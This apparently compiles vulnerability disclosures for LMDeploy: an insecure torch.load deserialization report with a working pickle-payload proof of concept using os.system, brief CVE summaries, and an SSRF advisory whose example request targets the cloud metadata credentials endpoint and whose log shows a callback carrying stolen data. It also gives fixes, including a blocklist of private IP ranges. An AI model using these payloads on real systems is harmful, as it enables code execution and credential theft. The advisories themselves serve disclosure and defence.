Summary

An insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weightsonly=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file.

CWE: CWE-502 - Deserialization of Untrusted Data

---

Details

Several locations in lmdeploy use torch.load() without the recommended weightsonly=True security parameter. PyTorch's torch.load() uses Python's pickle module internally, which can execute arbitrary code during deserialization.

Vulnerable Locations

1. lmdeploy/vl/model/utils.py (Line 22)

python def loadweightckpt(ckpt: str) -> Dict[str, torch.Tensor]: """Load checkpoint.""" if ckpt.endswith('.safetensors'): return loadfile(ckpt) # Safe - uses safetensors else: return torch.load(ckpt) # ← VULNERABLE: no weightsonly=True

2. lmdeploy/turbomind/deploy/loader.py (Line 122)

python class PytorchLoader(BaseLoader): def items(self): params = defaultdict(dict) for shard in self.shards: misc = {} tmp = torch.load(shard, maplocation='cpu') # ← VULNERABLE

Additional vulnerable locations: - lmdeploy/lite/apis/kvqparams.py:129-130 - lmdeploy/lite/apis/smoothquant.py:61 - lmdeploy/lite/apis/autoawq.py:101 - lmdeploy/lite/apis/getsmallshardedhf.py:41

Note: Secure Pattern Already Exists

The codebase already uses the secure pattern in one location:

python lmdeploy/pytorch/weightloader/modelweightloader.py:103 state = torch.load(file, weightsonly=True, maplocation='cpu') # ✓ Secure

This shows the fix is already known and can be applied consistently across the codebase.

---

PoC

Step 1: Create a Malicious Checkpoint File

Save this as createmaliciouscheckpoint.py:

python #!/usr/bin/env python3 """ Creates a malicious PyTorch checkpoint that executes code when loaded. """ import pickle import os

class MaliciousPayload: """Executes arbitrary code during pickle deserialization.""" def init(self, command): self.command = command def reduce(self): # This is called during unpickling - returns (callable, args) return (os.system, (self.command,))

def createmaliciouscheckpoint(outputpath, command): """Create a malicious checkpoint file.""" maliciousstatedict = { 'model.layer.weight': MaliciousPayload(command), 'config': {'hiddensize': 768} } with open(outputpath, 'wb') as f: pickle.dump(maliciousstatedict, f) print(f"[+] Created malicious checkpoint: {outputpath}")

if name == "main": os.makedirs("maliciousmodel", existok=True) createmaliciouscheckpoint( "maliciousmodel/pytorchmodel.bin", "echo '[PoC] Arbitrary code executed! - RCE confirmed'" )

Step 2: Load the Malicious File (Simulates lmdeploy's Behavior)

Save this as exploit.py:

python #!/usr/bin/env python3 """ Demonstrates the vulnerability by loading the malicious checkpoint. This simulates what happens when lmdeploy loads an untrusted model. """ import pickle

def unsafeload(path): """Simulates torch.load() without weightsonly=True.""" # torch.load() uses pickle internally, so this is equivalent with open(path, 'rb') as f: return pickle.load(f)

if name == "main": print("[] Loading malicious checkpoint...") print("[] This simulates: torch.load(ckpt) in lmdeploy") print("-" 50) result = unsafeload("maliciousmodel/pytorchmodel.bin") print("-" 50) print(f"[!] Checkpoint loaded. Keys: {list(result.keys())}") print("[!] If you see the PoC message above, RCE is confirmed!")

Step 3: Run the PoC

bash Create the malicious checkpoint python createmaliciouscheckpoint.py

Exploit - triggers code execution python exploit.py

Expected Output

[+] Created malicious checkpoint: maliciousmodel/pytorchmodel.bin [] Loading malicious checkpoint... [] This simulates: torch.load(ckpt) in lmdeploy -------------------------------------------------- [PoC] Arbitrary code executed! - RCE confirmed ← Code executed here! -------------------------------------------------- [!] Checkpoint loaded. Keys: ['model.layer.weight', 'config'] [!] If you see the PoC message above, RCE is confirmed!

The [PoC] Arbitrary code executed! message proves that arbitrary shell commands run during deserialization.

---

Impact

Who Is Affected?

- All users who load PyTorch model files (.bin, .pt) from untrusted sources - This includes models downloaded from HuggingFace, ModelScope, or shared by third parties

Attack Scenario

1. Attacker creates a malicious model file (e.g., pytorchmodel.bin) containing a pickle payload 2. Attacker distributes it as a "fine-tuned model" on model sharing platforms or directly to victims 3. Victim downloads and loads the model using lmdeploy 4. Malicious code executes with the victim's privileges

Potential Consequences

- Remote Code Execution (RCE) - Full system compromise - Data theft - Access to sensitive files, credentials, API keys - Lateral movement - Pivot to other systems in cloud environments - Cryptomining or ransomware - Malware deployment

---

Recommended Fix

Add weightsonly=True to all torch.load() calls:

diff lmdeploy/vl/model/utils.py:22 - return torch.load(ckpt) + return torch.load(ckpt, weightsonly=True)

lmdeploy/turbomind/deploy/loader.py:122 - tmp = torch.load(shard, maplocation='cpu') + tmp = torch.load(shard, maplocation='cpu', weightsonly=True)

Apply the same pattern to: - lmdeploy/lite/apis/kvqparams.py:129-130 - lmdeploy/lite/apis/smoothquant.py:61 - lmdeploy/lite/apis/autoawq.py:101 - lmdeploy/lite/apis/getsmallshardedhf.py:41

Alternatively, consider migrating fully to SafeTensors format, which is already supported in the codebase and immune to this vulnerability class.

---

Resources

Official PyTorch Security Documentation

- PyTorch torch.load() Documentation > "torch.load() uses pickle module implicitly, which is known to be insecure. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never load data that could have come from an untrusted source."

Related CVEs

| CVE | Description | CVSS | |-----|-------------|------| | CVE-2025-32434 | PyTorch torch.load() RCE vulnerability | 9.3 Critical | | CVE-2024-5452 | PyTorch Lightning insecure deserialization | 8.8 High |

Additional Resources

- CWE-502: Deserialization of Untrusted Data - Trail of Bits: Exploiting ML Pickle Files - Rapid7: Attackers Weaponizing AI Models

---

Thank you for your time reviewing this report. I'm happy to provide any additional information or help with testing the fix. Please let me know if you have any questions!

A vulnerability was found in InternLM LMDeploy up to 0.7.1. It has been classified as critical. Affected is the function loadweightckpt of the file lmdeploy/lmdeploy/vl/model/utils.py of the component PT File Handler. The manipulation leads to deserialization. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used.

A vulnerability was found in InternLM LMDeploy up to 0.7.1. It has been declared as critical. Affected by this vulnerability is the function Open of the file lmdeploy/docs/en/conf.py. The manipulation leads to code injection. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used.

LMDeploy through 0.14.0, fixed in commit 03c3130, contains a server-side request forgery (SSRF) vulnerability in the loadhttpurl function within the connection.py media handler, where the private-IP guard validates only the original URL without re-validating hosts after HTTP redirects. An unauthenticated attacker can submit a crafted imageurl to the chat completions endpoint pointing to an attacker-controlled host that returns a redirect to a private IP or cloud-metadata endpoint, causing the server to follow the redirect and expose internal service content through the model pipeline.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The loadimage() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

- Tested on: main branch (2026-02-04) - Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67) python def loadimage(imageurl: Union[str, Image.Image]) -> Image.Image: # ... if imageurl.startswith('http'): response = requests.get(imageurl, headers=headers, timeout=FETCHTIMEOUT) # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encodeimagebase64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching 2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x) 3. Server binds to 0.0.0.0 by default (apiserver.py line 1393) 4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model 2. Attacker sends request to /v1/chat/completions with malicious imageurl: python POST /v1/chat/completions { "model": "internlm-xcomposer2", "messages": [{ "role": "user", "content": [ {"type": "text", "text": "Describe this image"}, {"type": "imageurl", "imageurl": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}} ] }] }

3. Server fetches URL without validation 4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result ╔═══════════════════════════════════════════════════════════════════════╗ ║ LMDeploy SSRF Vulnerability - Proof of Concept ║ ╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889... [2] Attacker URL: http://127.0.0.1:8889/SSRFPROOF?stolendata=AWSSECRETKEY [3] Calling vulnerable loadimage() function...

====================================================================== [+] SSRF CALLBACK RECEIVED! ====================================================================== Time: 2026-02-04 16:10:57 Path: /SSRFPROOF?stolendata=AWSSECRETKEY Client: 127.0.0.1:51154 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)... ======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

- Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs - Internal Service Access: Reach services not exposed to internet - Information Disclosure: Port scan internal networks - Lateral Movement: Pivot point for further attacks

Recommended Fix python from urllib.parse import urlparse import ipaddress import socket

BLOCKEDNETWORKS = [ ipaddress.ipnetwork('127.0.0.0/8'), ipaddress.ipnetwork('10.0.0.0/8'), ipaddress.ipnetwork('172.16.0.0/12'), ipaddress.ipnetwork('192.168.0.0/16'), ipaddress.ipnetwork('169.254.0.0/16'), ]

def issafeurl(url: str) -> bool: try: parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return False ip = socket.gethostbyname(parsed.hostname) ipaddr = ipaddress.ipaddress(ip) return not any(ipaddr in network for network in BLOCKEDNETWORKS) except: return False

---

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky Organization: Orca Security Emails: igor.stepansky@orca.security iggy.p0pi@orca.security